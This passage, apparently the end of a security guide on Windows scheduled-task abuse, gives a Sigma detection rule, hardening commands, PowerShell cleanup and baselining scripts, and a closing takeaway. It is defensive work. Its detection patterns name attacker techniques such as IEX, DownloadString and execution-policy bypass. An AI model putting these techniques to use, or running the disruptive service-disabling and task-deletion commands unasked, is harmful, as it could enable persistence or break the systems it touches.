   process.parent.name == "svchost.exe" and
   process.args : ("powershell*", "cmd*", "*http*")]

Sigma Rule

title: Suspicious Scheduled Task Creation
id: 92a8b6fd-bb6a-4e7d-8b6d-1c5c8f9d6e7a
status: experimental
description: Detects creation of scheduled tasks with suspicious characteristics
references:
    - https://attack.mitre.org/techniques/T1053/005/
tags:
    - attack.persistence
    - attack.privilege_escalation
    - attack.t1053.005
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4698
    filter_suspicious:
        TaskContent|contains:
            - 'powershell'
            - 'cmd.exe'
            - 'http://'
            - 'IEX'
            - 'DownloadString'
            - 'bypass'
    filter_legit:
        TaskName|startswith: '\Microsoft\'
    condition: selection and filter_suspicious and not filter_legit
falsepositives:
    - Legitimate administrative automation
    - Software deployment tools
level: high

Mitigation and Remediation

Preventive Measures

Harden task scheduler configuration:

# 1. Restrict task creation to administrators
# Set proper permissions on task folder
icacls "C:\Windows\System32\Tasks" /inheritance:r
icacls "C:\Windows\System32\Tasks" /grant:r "SYSTEM:(OI)(CI)F"
icacls "C:\Windows\System32\Tasks" /grant:r "Administrators:(OI)(CI)F"
icacls "C:\Windows\System32\Tasks" /grant:r "Users:(OI)(CI)RX"

# 2. Enable audit policy for scheduled tasks
auditpol /set /subcategory:"Other Object Access Events" /success:enable /failure:enable

# 3. Configure AppLocker to restrict task executables
# Computer Configuration > Policies > Windows Settings > Security Settings > Application Control Policies > AppLocker

# 4. Disable Task Scheduler for standard users (extreme measure)
sc config Schedule start= disabled
# WARNING: This breaks legitimate functionality

# 5. Monitor and alert on task folder modifications
$watcher = New-Object System.IO.FileSystemWatcher
$watcher.Path = "C:\Windows\System32\Tasks"
$watcher.IncludeSubdirectories = $true
$watcher.EnableRaisingEvents = $true
Register-ObjectEvent $watcher "Created" -Action {
    $name = $Event.SourceEventArgs.Name
    $changeType = $Event.SourceEventArgs.ChangeType
    $timeStamp = $Event.TimeGenerated
    Write-Host "Task created: $name at $timeStamp" -ForegroundColor Yellow
    # Send alert
}

Cleanup and Remediation

Remove malicious scheduled tasks:

# Identify and remove suspicious tasks
$maliciousTasks = @(
    "WindowsUpdateCheck",
    "GoogleUpdate",
    "OneDriveSync"
    # Add identified malicious task names
)

foreach ($taskName in $maliciousTasks) {
    try {
        # Export for forensics
        schtasks /query /tn $taskName /xml > "C:\Forensics\$taskName.xml"

        # Disable task
        Disable-ScheduledTask -TaskName $taskName -ErrorAction Stop

        # Delete task
        Unregister-ScheduledTask -TaskName $taskName -Confirm:$false

        Write-Host "[+] Removed malicious task: $taskName" -ForegroundColor Green
    }
    catch {
        Write-Host "[-] Failed to remove $taskName : $_" -ForegroundColor Red
    }
}

# Bulk cleanup based on criteria
Get-ScheduledTask | Where-Object {
    # Non-Microsoft tasks running as SYSTEM
    $_.TaskPath -notmatch '^\\Microsoft\\' -and
    $_.Principal.UserId -match 'SYSTEM' -and
    # With suspicious actions
    ($_.Actions.Execute -match 'powershell|cmd' -and
     $_.Actions.Arguments -match 'http|IEX|bypass')
} | ForEach-Object {
    Write-Host "Suspicious task found: $($_.TaskName)" -ForegroundColor Yellow
    Write-Host "  Path: $($_.TaskPath)" -ForegroundColor Gray
    Write-Host "  Action: $($_.Actions.Execute) $($_.Actions.Arguments)" -ForegroundColor Gray

    # Export before removal
    schtasks /query /tn "$($_.TaskPath)$($_.TaskName)" /xml > "C:\Forensics\$($_.TaskName -replace '[\\/:]','_').xml"

    # Remove
    Unregister-ScheduledTask -TaskName $_.TaskName -Confirm:$false
}

Continuous Monitoring

# Create baseline of all scheduled tasks
$baseline = Get-ScheduledTask | ForEach-Object {
    $taskFile = "C:\Windows\System32\Tasks" + $_.TaskPath + $_.TaskName
    [PSCustomObject]@{
        TaskName = $_.TaskName
        TaskPath = $_.TaskPath
        RunAs = $_.Principal.UserId
        Actions = ($_.Actions | ForEach-Object { $_.Execute + " " + $_.Arguments }) -join "; "
        TaskFileHash = if (Test-Path $taskFile) {
            (Get-FileHash $taskFile -Algorithm SHA256).Hash
        } else { $null }
    }
} | Export-Csv C:\Security\task_baseline.csv -NoTypeInformation

# Scheduled integrity check
$baseline = Import-Csv C:\Security\task_baseline.csv
$current = Get-ScheduledTask | Select-Object TaskName, TaskPath, @{N='RunAs';E={$_.Principal.UserId}}

# Detect new tasks
$newTasks = Compare-Object -ReferenceObject $baseline -DifferenceObject $current -Property TaskName, TaskPath |
    Where-Object { $_.SideIndicator -eq '=>' }

if ($newTasks) {
    $alert = "New scheduled tasks detected:`n" + ($newTasks | Out-String)
    Send-MailMessage -To "[email protected]" -From "[email protected]" -Subject "New Scheduled Tasks Alert" -Body $alert -SmtpServer "smtp.company.com"
}

# Detect modified tasks
foreach ($entry in $baseline) {
    $taskFile = "C:\Windows\System32\Tasks" + $entry.TaskPath + $entry.TaskName
    if (Test-Path $taskFile) {
        $currentHash = (Get-FileHash $taskFile -Algorithm SHA256).Hash
        if ($currentHash -ne $entry.TaskFileHash) {
            Write-Host "[!] Task modified: $($entry.TaskName)" -ForegroundColor Red
            # Send alert
        }
    }
}

References

MITRE ATT&CK Techniques

Common Weakness Enumeration

Microsoft Documentation

Security Resources

Next Steps

After exploiting or securing scheduled tasks:

  • Audit all non-Microsoft scheduled tasks for legitimacy
  • Enable comprehensive audit logging for task creation/modification
  • Implement SIEM detection rules for suspicious task activity
  • Baseline legitimate tasks and monitor for deviations
  • Review task folder permissions to prevent unauthorized modifications
  • Explore related Windows techniques:

Takeaway: Windows Task Scheduler represents a versatile attack surface for persistence, privilege escalation, and lateral movement. Its legitimate administrative purpose and deep Windows integration make malicious tasks difficult to detect without proper monitoring. Implementing comprehensive logging, task baselining, permission hardening, and behavioral detection rules provides effective defense against scheduled task abuse. Make task scheduler security a core component of your Windows hardening and monitoring strategy.

Last updated on